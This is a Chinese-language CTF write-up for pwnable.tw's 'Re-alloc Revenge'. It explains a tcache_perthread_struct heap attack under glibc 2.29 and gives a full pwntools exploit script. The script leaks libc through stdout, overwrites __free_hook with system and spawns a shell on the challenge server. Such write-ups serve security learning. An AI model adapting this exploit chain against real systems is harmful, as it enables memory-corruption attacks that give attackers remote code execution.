PWNABLE.TW-Re-alloc Revenge-WP

Posted on Mar 21, 2021

前段时间做了一道利用 realloc 的题,感觉很有意思。看到此题的名字就有了兴趣,于是花了一天解了一下。

关于 realloc 的特性和攻击 _IO_FILE,本文不再赘述,可见此 WP TWCTF_online_2019_asterisk_alloc

本题的一个特点就是有 tcache 然后再限制一手申请的空间大小,导致传统的填满 tcachefree 出一个 unsorted bin 再实现 leak 变得不再可行。

这样的题目碰到过几次,每次都隐约感觉在某处看到过,由于一些 tcache chunknext 会指向下一个 chunk,而用于管理 tcache 的结构体 tcache_perthread_struct 也是在堆段上的,所以通过部分覆写 next 可以使 next 指向 tcache_perthread_struct,这样就可以通过 tcache poisoning 分配到 tcache_perthread_struct 上实现攻击了。但是不知道这个结构体到底在什么位置,就都不知道该怎么部分覆写。以前碰到的要么没有做下去,要么就是有更好的利用方法,所以一直没有深究。

想想也挺蠢的,动调的时候查看堆,有时候会有一个大小为 0x251 的堆块,没有去深究过那到底是什么东西,其实那个就是 tcache_perthread_struct

就是这个 250 了。也就是说,tcache_perthread_struct 就是处在堆段头部的

这样的话我们只要写 next 的低二字节,满足低十二位为 0x010(不是 0x100 的原因是 tcachenext 指向数据区),爆破高四位就可以将 next指到tcache_perthread_struct

通过简单的 tcache poisoning 就可以分配堆块到 tcache_perthread_struct 了,这也就是 tache struct attack

typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];//0x40
  tcache_entry *entries[TCACHE_MAX_BINS];//0x40
} tcache_perthread_struct;

结构如上。有了上面的思路就可以很容易地写出利用脚本

malloc(0,0x70,'\n')
realloc(0,0x50,'\n')
realloc(0,0x10,'\n')
free_r(0)
malloc(0,0x30,'\n')
realloc(0,0,'')

for i in range(6):
    realloc(0,0x30,p64(0) + p64(0))
    realloc(0,0,'')

realloc(0,0x30,'\x10\x60')
malloc(1,0x30,p64(0) + p64(0))
realloc(0,0x10,p64(0) + p64(0))
free_r(0)
malloc(0,0x30,'\x00' * 0x23 + '\xFF\x00'

这里为了在 free_r(0) 时避免 chunk 重新返回 tcache,用到了 realloc(0,0x10,p64(0) + p64(0)),使 free_r(0) 时被 freesize 为 0x21,再一次分配时就可以分配到 tcache_perthread_struct 了。

此时我们拥有了对 tcache_perthread_struct 的部分任意写的能力。要注意到此时 chunk 大小仍为为 0x250,足够进入 unsorted bin,只要我们覆写 counts 数组中对应 0x250 的计数器的大小为一个较大的值,然后通过 realloc(0) 就可以使这个 chunk 顺利地进入 unsorted bin 了。这样就可以通过攻击 _IO_2_1_stdout_ 来 leak 了。

之后就是普通的 tcache poisoning 了。

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
import struct
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'


#libc = ELF("/glibc/2.29/amd64/lib/libc.so.6")
libc = ELF("./libc.so")

def malloc(index,size,payload):
    sh.sendlineafter("choice: ",'1')
    sh.sendlineafter("Index:",str(index))
    sh.sendlineafter("Size:",str(size))
    if(size != 0):
        sh.sendafter("Data:",payload)

def realloc(index,size,payload):
    sh.sendlineafter("choice: ",'2')
    sh.sendlineafter("Index:",str(index))
    sh.sendlineafter("Size:",str(size))
    if(size != 0):
        sh.sendafter("Data:",payload)

def free_r(index):
    sh.sendlineafter("choice: ",'3')
    sh.sendlineafter("Index:",str(index))

for i in range(16 * 16):
    try:
        log.success("#" + str(i))
        sh = remote("chall.pwnable.tw",10310)
        #sh = process("./re-alloc_revenge")#,env={"LD_PRELOAD":"home/chuj/pwnable/libc.so"})
        malloc(0,0x70,'\n')
        realloc(0,0x50,'\n')
        realloc(0,0x10,'\n')
        free_r(0)
        malloc(0,0x30,'\n')
        realloc(0,0,'')

        for i in range(6):
            realloc(0,0x30,p64(0) + p64(0))
            realloc(0,0,'')

        realloc(0,0x30,'\x10\x60')
        malloc(1,0x30,p64(0) + p64(0))
        realloc(0,0x10,p64(0) + p64(0))
        free_r(0)
        malloc(0,0x30,'\x00' * 0x23 + '\xFF\x00')
        free_r(0)
        malloc(0,0x40,'\xFF\x01\xFF'.ljust(0x40,'\xFF'))
        free_r(1)
        realloc(0,0x58,'\xFF\xFF\x06\xFF'.ljust(0x40,'\xFF') + p64(0) + p64(0) + '\x60\x57')
        malloc(1,0x30,p64(0xfbad1887) + p64(0) * 3)
        sh.recv(0x58)
        libc_base = u64(sh.recv(8)) - libc.symbols["_IO_file_jumps"]
        log.success("libc_base:" + hex(libc_base))

        system_addr = libc_base + libc.symbols["system"]
        free_hook_addr = libc_base + libc.symbols["__free_hook"]

        realloc(0,0x78,'\x07\x07'.ljust(0x40,'\x07') + p64(0) + p64(0) + p64(free_hook_addr - 8) * 5)
        free_r(0)
        malloc(0,0x60,'/bin/sh\x00' + p64(system_addr))
        free_r(0)
        #gdb.attach(proc.pidof(sh)[0])
        sh.sendline('echo pwned!')
        sh.recvuntil("pwned!")
        sh.sendline("cat home/re-alloc_revenge/flag")
        sh.interactive()
        break
    except:
        sh.close()

服务器不是很好,执行的很慢,这个爆破的概率是 1/(16 * 16),所以还是需要等一段时间的。

参考:

初探tcache struct攻击(写的很棒!)